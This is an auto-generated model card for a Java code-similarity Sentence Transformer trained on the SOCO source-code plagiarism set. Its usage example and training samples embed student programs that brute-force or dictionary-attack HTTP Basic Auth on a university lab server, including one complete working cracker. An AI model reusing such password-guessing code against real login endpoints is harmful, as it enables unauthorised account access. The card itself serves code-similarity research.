buelfhood/SOCO-Java-UniXcoder-ST

SentenceTransformer based on microsoft/unixcoder-base-unimodal

This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

• Model Type: Sentence Transformer
• Base model: microsoft/unixcoder-base-unimodal
• Maximum Sequence Length: 512 tokens
• Output Dimensionality: 768 dimensions
• Similarity Function: Cosine Similarity

Model Sources

• Documentation: Sentence Transformers Documentation
• Repository: Sentence Transformers on GitHub
• Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UniXcoder-ST")
# Run inference
sentences = [
    '\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n',
    'import java.io.*;\nimport java.net.*;\n\npublic class BruteForce {\n  public static void main(String[] args) {\n      BruteForce brute=new BruteForce();\n      brute.start();\n\n\n     }\n\n\npublic void start() {\nchar passwd[]= new char[3];\nString password;\nString username="";\nString auth_data;\nString server_res_code;\nString required_server_res_code="200";\nint cntr=0;\n\ntry {\n\nURL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\nURLConnection conn=null;\n\n\n           for (int i=65;i<=122;i++)     {\n               if(i==91) { i=i+6; }\n               passwd[0]= (char) i;\n\n           for (int j=65;j<=122;j++)     {\n              if(j==91) { j=j+6; }\n              passwd[1]=(char) j;\n\n            for (int k=65;k<=122;k++)    {\n                if(k==91) { k=k+6; }\n                passwd[2]=(char) k;\n                password=new String(passwd);\n                password=password.trim();\n                auth_data=null;\n                auth_data=username + ":" + password;\n                auth_data=auth_data.trim();\n                auth_data=getBasicAuthData(auth_data);\n                auth_data=auth_data.trim();\n                conn=url.openConnection();\n                conn.setDoInput (true);\n                conn.setDoOutput(true);\n                conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");\n                conn.setRequestProperty ("Authorization", auth_data);\n                server_res_code=conn.getHeaderField(0);\n                server_res_code=server_res_code.substring(9,12);\n                server_res_code.trim();\n                cntr++;\n                System.out.println(cntr + " . " + "PASSWORD SEND : " + password + "  SERVER RESPONSE  : " + server_res_code);\n                if( server_res_code.compareTo(required_server_res_code)==0 )\n                {System.out.println("PASSWORD IS :  " + password + "  SERVER RESPONSE  : " + server_res_code );\n                i=j=k=123;}\n                                           }\n\n                                        }\n\n                                    }\n        }\n     catch (Exception e) {\n           System.err.print(e);\n           }\n  }\n\npublic String getBasicAuthData (String getauthdata)    {\n\nchar base64Array [] = {\n      \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n      \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n      \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n      \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n      \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n      \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n      \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n      \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' } ;\n\n    String encodedString = "";\n    byte bytes [] = getauthdata.getBytes ();\n    int i = 0;\n    int pad = 0;\n    while (i < bytes.length) {\n      byte b1 = bytes [i++];\n      byte b2;\n      byte b3;\n      if (i >= bytes.length) {\n         b2 = 0;\n         b3 = 0;\n         pad = 2;\n         }\n      else {\n         b2 = bytes [i++];\n         if (i >= bytes.length) {\n            b3 = 0;\n            pad = 1;\n            }\n         else\n            b3 = bytes [i++];\n         }\n      byte c1 = (byte)(b1 >> 2);\n      byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n      byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n      byte c4 = (byte)(b3 & 0x3f);\n      encodedString += base64Array [c1];\n      encodedString += base64Array [c2];\n      switch (pad) {\n        case 0:\n         encodedString += base64Array [c3];\n         encodedString += base64Array [c4];\n         break;\n        case 1:\n         encodedString += base64Array [c3];\n         encodedString += "=";\n         break;\n        case 2:\n         encodedString += "==";\n         break;\n       }\n      }\n      return " " + encodedString;\n  }\n}',
    'package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce implements Runnable\n{\n    protected int rangeStart, rangeEnd;\n    protected boolean stop = false;\n    \n    public RunnableBruteForce()\n    {\n        super();\n    }\n\n    \n    public void run()\n    {\n        process();\n    }\n\n    public static void main(String[] args)\n    {\n    }\n    \n    public int getRangeEnd()\n    {\n        return rangeEnd;\n    }\n\n    \n    public int getRangeStart()\n    {\n        return rangeStart;\n    }\n\n    \n    public void setRangeEnd(int i)\n    {\n        rangeEnd = i;\n    }\n\n    \n    public void setRangeStart(int i)\n    {\n        rangeStart = i;\n    }\n\n    \n    public boolean isStop()\n    {\n        return stop;\n    }\n\n    \n    public void setStop(boolean b)\n    {\n        stop = b;\n    }\n\n    public void process()\n    {\n        String password = "";\n        \n        System.out.println(Thread.currentThread().getName() +\n                            "->  workload: " +\n                            this.letters[getRangeStart()] + "  " +\n                            this.letters[getRangeEnd() - 1]);\n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        for (int i = getRangeStart();\n            i < getRangeEnd();\n            i++)\n        {\n            System.out.println(Thread.currentThread().getName() +\n                    "-> Trying words beginning with: " +\n                    letters[i]);\n            for (int i2 = 0;\n                i2 < letters.length;\n                i2++)\n            {\n                for (int i3 = 0;\n                    i3 < letters.length;\n                    i3++)\n                {\n                    if (isStop())\n                    {\n                        return;\n                    }\n                    try\n                    {\n                        char [] arr = new char [] {letters[i], letters[i2], letters[i3]};\n                        String pwd = new String(arr);\n                        \n                        if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))\n                        {\n                            System.out.println(Thread.currentThread().getName() +\n                                   "-> Trying password: " +\n                                    pwd);\n                        }\n                        attempts++;\n\n                        BasicAuthHttpRequest req =\n                            new BasicAuthHttpRequest(\n                                getURL(),\n                                getUserName(),\n                                pwd);\n                        System.out.println("Got the password");\n                        setPassword(pwd);\n                        setEnd(new Timestamp(System.currentTimeMillis()));\n                        setContent(req.getContent().toString());\n\n                        \n                        this.setChanged();\n                        this.notifyObservers(this.getContent());\n                        return;\n                    }\n                    catch (MalformedURLException e)\n                    {\n                        e.printStackTrace();\n                        return;\n                    }\n                    catch (IOException e)\n                    {\n\n                    }\n                }\n            }\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

Unnamed Dataset

• Size: 33,411 training samples
• Columns: sentence_0, sentence_1, and label
• Approximate statistics based on the first 1000 samples:

  	sentence_0	sentence_1	label
  type	string	string	int
  details	min: 51 tokens mean: 449.02 tokens max: 512 tokens	min: 51 tokens mean: 464.04 tokens max: 512 tokens	0: ~99.80% 1: ~0.20%

• Samples:

  sentence_0	sentence_1	label
  import java.io.; import java.net.; public class BruteForce { public static void main(String args[]) throws IOException, MalformedURLException { final String username = ""; final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/"; String temppass; String password = ""; URL url = new URL(fullurl); boolean cracked = false; String c[] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O", "P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d", "e","f","g","h","i","j","k","l","m","n","o","p","q","r","s", "t","u","v","w","x","y","z"}; startTime = System.currentTimeMillis(); for(int i = 0; i < 52 && !cracked; i++) { temppass = c[i]; Authenticator.setDefault(new MyAuthenticator(username, temppass)); try{ BufferedReader r = ...	import java.net.; import java.io.; public class SendEMail { public void SendEMail(){} public void sendMail(String recipient,String c, String subject){ try { Socket s = new Socket("yallara.cs.rmit.edu.", 25); BufferedReader in = new BufferedReader (new InputStreamReader(s.getInputStream(), "8859_1")); BufferedWriter out = new BufferedWriter (new OutputStreamWriter(s.getOutputStream(), "8859_1")); send(in, out, "HELO theWorld"); send(in, out, "MAIL FROM: "); send(in, out, "RCPT : "+recipient); send(in, out, "DATA"); send(out, "Subject: "+ subject); send(out, "From: WatchDog.java"); send (out, "\n"); BufferedReader reader; String line; reader = new BufferedReader(new InputStreamReader(new FileInputStream())); line = reader.readLine(); while (line != null){ send(out, line); line = reader.readLine(); } send...	0
  import java.util.; import java.net.; import java.io.*; public class Dictionary { boolean connected = false; int counter; Vector words = new Vector(); Dictionary() { counter = 0; this.readWords(); this.startAttack(); } public void startAttack() { while(counter { connected = sendRequest(); if(connected == true) { System.out.print("The password is: "); System.out.println((String)words.elementAt(counter-1)); counter = words.size(); } } } public void readWords() { String line; try { BufferedReader buffer = new BufferedReader( new FileReader("/usr/share/lib/dict/words")); line = buffer.readLine(); while(line != null) { if(line.length() <= 3) ...	import java.io.; import java.net.; import java.net.URL; import java.net.URLConnection; import java.util.*; public class BruteForce { public static void main(String[] args) throws IOException { int start , end, total; start = System.currentTimeMillis(); String username = ""; String password = null; String host = "http://sec-crack.cs.rmit.edu./SEC/2/"; String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int lettersLen = letters.length(); int passwordLen=3; int passwords=0; int twoChar=0; url.misc.BASE64Encoder base = new url.misc.BASE64Encoder(); String authenticate = ""; String realm = null, domain = null, hostname = null; header = null; int responseCode; String responseMsg; int temp1=0; int temp2=0; int temp3=0; for (int a=...	0
  public class SMTPException extends Exception { private String msg; public SMTPException(String message) { msg = message; } public String getMessage() { return msg; } }	import java.net.; import java.io.; import java.; import java.util.; public class Dictionary { private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :"; private String password; private String previous; private String url; private int startTime; private int endTime; private int totalTime; private float averageTime; private boolean finish; private Process curl; private BufferedReader bf, responseLine; public Dictionary() { first(); finish = true; previous = ""; Runtime run = Runtime.getRuntime(); startTime =new Date().getTime(); int i=0; try { try { bf = new BufferedReader(new FileReader("words")); } catch(FileNotFoundException notFound) { bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); } while((password = bf.readLine()) != null) { if(password....	0

• Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• num_train_epochs: 1
• fp16: True
• multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand

• overwrite_output_dir: False
• do_predict: False
• eval_strategy: no
• prediction_loss_only: True
• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• per_gpu_train_batch_size: None
• per_gpu_eval_batch_size: None
• gradient_accumulation_steps: 1
• eval_accumulation_steps: None
• torch_empty_cache_steps: None
• learning_rate: 5e-05
• weight_decay: 0.0
• adam_beta1: 0.9
• adam_beta2: 0.999
• adam_epsilon: 1e-08
• max_grad_norm: 1
• num_train_epochs: 1
• max_steps: -1
• lr_scheduler_type: linear
• lr_scheduler_kwargs: {}
• warmup_ratio: 0.0
• warmup_steps: 0
• log_level: passive
• log_level_replica: warning
• log_on_each_node: True
• logging_nan_inf_filter: True
• save_safetensors: True
• save_on_each_node: False
• save_only_model: False
• restore_callback_states_from_checkpoint: False
• no_cuda: False
• use_cpu: False
• use_mps_device: False
• seed: 42
• data_seed: None
• jit_mode_eval: False
• use_ipex: False
• bf16: False
• fp16: True
• fp16_opt_level: O1
• half_precision_backend: auto
• bf16_full_eval: False
• fp16_full_eval: False
• tf32: None
• local_rank: 0
• ddp_backend: None
• tpu_num_cores: None
• tpu_metrics_debug: False
• debug: []
• dataloader_drop_last: False
• dataloader_num_workers: 0
• dataloader_prefetch_factor: None
• past_index: -1
• disable_tqdm: False
• remove_unused_columns: True
• label_names: None
• load_best_model_at_end: False
• ignore_data_skip: False
• fsdp: []
• fsdp_min_num_params: 0
• fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
• fsdp_transformer_layer_cls_to_wrap: None
• accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
• deepspeed: None
• label_smoothing_factor: 0.0
• optim: adamw_torch
• optim_args: None
• adafactor: False
• group_by_length: False
• length_column_name: length
• ddp_find_unused_parameters: None
• ddp_bucket_cap_mb: None
• ddp_broadcast_buffers: False
• dataloader_pin_memory: True
• dataloader_persistent_workers: False
• skip_memory_metrics: True
• use_legacy_prediction_loop: False
• push_to_hub: False
• resume_from_checkpoint: None
• hub_model_id: None
• hub_strategy: every_save
• hub_private_repo: None
• hub_always_push: False
• gradient_checkpointing: False
• gradient_checkpointing_kwargs: None
• include_inputs_for_metrics: False
• include_for_metrics: []
• eval_do_concat_batches: True
• fp16_backend: auto
• push_to_hub_model_id: None
• push_to_hub_organization: None
• mp_parameters:
• auto_find_batch_size: False
• full_determinism: False
• torchdynamo: None
• ray_scope: last
• ddp_timeout: 1800
• torch_compile: False
• torch_compile_backend: None
• torch_compile_mode: None
• include_tokens_per_second: False
• include_num_input_tokens_seen: False
• neftune_noise_alpha: None
• optim_target_modules: None
• batch_eval_metrics: False
• eval_on_start: False
• use_liger_kernel: False
• eval_use_gather_object: False
• average_tokens_across_devices: False
• prompts: None
• batch_sampler: batch_sampler
• multi_dataset_batch_sampler: round_robin

Training Logs

Epoch	Step	Training Loss
0.2393	500	0.2443
0.4787	1000	0.2228
0.7180	1500	0.2148
0.9574	2000	0.1666

Framework Versions

• Python: 3.11.13
• Sentence Transformers: 4.1.0
• Transformers: 4.52.4
• PyTorch: 2.6.0+cu124
• Accelerate: 1.7.0
• Datasets: 3.6.0
• Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}